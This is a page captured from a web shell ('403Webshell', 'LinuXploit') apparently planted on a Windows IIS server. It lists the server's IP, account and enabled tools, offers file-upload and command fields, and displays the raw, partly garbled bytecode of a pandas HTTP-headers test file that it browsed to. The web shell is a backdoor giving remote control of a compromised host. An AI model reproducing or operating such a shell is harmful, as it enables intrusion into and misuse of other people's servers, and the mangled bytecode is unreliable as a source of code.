403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/tests/io/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/tests/io/__pycache__/test_http_headers.cpython-312.pyc
�

0	�g����dZddlmZddlZddlmZddlZddlmcm	Z
ddlZddl
mZej j"ej j$ej j'd�gZd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zej j?deej@feejBfed�fejDeeejFd��e
jHd���ejDeeejFd��e
jHd�e
jHd�e
jJg��eejLfeejNfeej@feejBfg	�ej j?ddddiddd�g�d���Z(ej j?dddg�d��Z)y)z9
Tests for the pandas custom headers in http(s) requests
�)�partialN)�BytesIOz=ignore:Passing a BlockManager to DataFrame:DeprecationWarningc���t�5}tj|d��5}|j|�ddd�|j	�cddd�S#1swY�"xYw#1swYyxYw)N�w)�fileobj�mode)r�gzip�GzipFile�write�getvalue)�response_bytes�bio�zippers   �CC:\Python312\Lib\site-packages\pandas/tests/io/test_http_headers.py�
gzip_bytesrs]��	���c�
�]�]�3�S�
1�	)�V��L�L��(�	)��|�|�~���	)�	)����s!�A"�A�A"�A	�A"�"A+c�D�|jd��jd�S�NF)�index�utf-8)�to_csv�encode��dfs r�
csv_responderrs��
�9�9�5�9�!�(�(��1�1�c�*�tt|��S�N)rrrs r�gz_csv_responderr#s���m�B�'�(�(rc�@�|j�jd�S)Nr)�to_jsonrrs r�json_responderr!'s��
�:�:�<���w�'�'rc�*�tt|��Sr)rr!rs r�gz_json_responderr#+s���n�R�(�)�)rc�D�|jd��jd�Sr)�to_htmlrrs r�html_responderr&/s��
�:�:�E�:�"�)�)�'�2�2rc�(�|jdd��S)NF�pyarrow)r�engine)�
to_parquetrs r�parquetpyarrow_reponderr+3s��
�=�=�u�Y�=�7�7rc��ddl}|jdddd��|jdd�5}|j�cddd�S#1swYyxYw)Nrz'memory://fastparquet_user_agent.parquetF�fastparquet)rr)�compression�rb)�fsspecr*�open�read)rr0�fs   r�parquetfastparquet_responderr47sU����M�M�1����	��
���>��	E����v�v�x����s�A�Ac��t�5}|j|�|j�cddd�S#1swYyxYwr)r�	to_pickler�rrs  r�pickle_respnderr8Js3��	���c�
���S���|�|�~����s�!6�?c��t�5}|j|d��|j�cddd�S#1swYyxYw)NF)�write_index)r�to_statarr7s  r�stata_responderr<Ps7��	���c�
���C�U��+��|�|�~����s	�#8�Azresponder, read_methodc�2�tj|i|��dS)Nr)�pd�	read_html)�args�kwargss  r�<lambda>rB]s��B�L�L�$�$A�&�$A�!�$D�rr()r))�marksr-r0�storage_options�
User-Agent�foo�bar�rE�Authc��tjddgi�}gd�}d|jvrddi}|�|}n||z}nd}t|�j	|r|j�ng�}|j
||�|��||j|��}tj||�t|jd	j�}	|D]%}
|	j|
�}|s�|
|vs�|||
k(r�%J�|	rJ�y)
N�a�b)zAccept-Encoding�Host�
ConnectionrE�gzzContent-Encodingr	)�content�headers)rDr)r>�	DataFrame�__name__�set�union�keys�
serve_content�url�tm�assert_frame_equal�dict�requestsrQ�pop)�	responder�read_method�
httpserverrD�expected�default_headers�extra�expected_headers�result�request_headers�header�exps            r�test_request_headersriVs��N�|�|�S�3�%�L�)�H�M�O��y�!�!�!�#�V�,���"�#�O��u�$�O����?�+�1�1�"1�����r������Y�x�%8�%��H�
�����
I�F����&�(�+��:�.�.�q�1�9�9�:�O�"�2���!�!�&�)���v��8��/�&�1�1�1�1�2�
���rr)c���ddd�}tj|�tjddgi�}d}tjt
|��5|j
d||�	�ddd�y#1swYyxYw)
N�custom�other_customrH�column_name�column_valuezxstorage_options passed with file object or non-fsspec file path|storage_options passed with buffer, or non-supported URL)�matchz/tmp/junk.parquet)rDr))�pytest�importorskipr>rR�raises�
ValueErrorr*)r)rQ�true_df�msgs    r�,test_to_parquet_to_disk_with_storage_optionsrv�s������G�
������l�l�M�N�+;�<�=�G�	C��
���z��	-�X����.��PV��W�X�X�X�s�A.�.A7)*�__doc__�	functoolsrr	�iorrp�pandas.util._test_decorators�util�_test_decorators�td�pandasr>�pandas._testing�_testingrY�mark�
single_cpu�network�filterwarnings�
pytestmarkrrrr!r#r&r+r4r8r<�parametrize�read_csv�	read_json�param�read_parquet�
skip_if_no�&skip_array_manager_not_yet_implemented�read_pickle�
read_statarirv�rr�<module>r�s�������
�)�)����K�K���
�K�K���
�K�K���G���
��2�)�(�*�3�8��&��������	����$�	����&��D�	
�	����#��B�O�O�I�6��"�-�-�	�*�	
�
	����(��B�O�O�M�:���
�
�m�,���
�
�h�'��9�9��			
�
�"�.�.�)�	�"�-�-�(�	�2�;�;�'�	�B�L�L�)�3��<�������	�u���e�,�����=�L�6����������X��Xr

Youez - 2016 - github.com/yon3zu
LinuXploit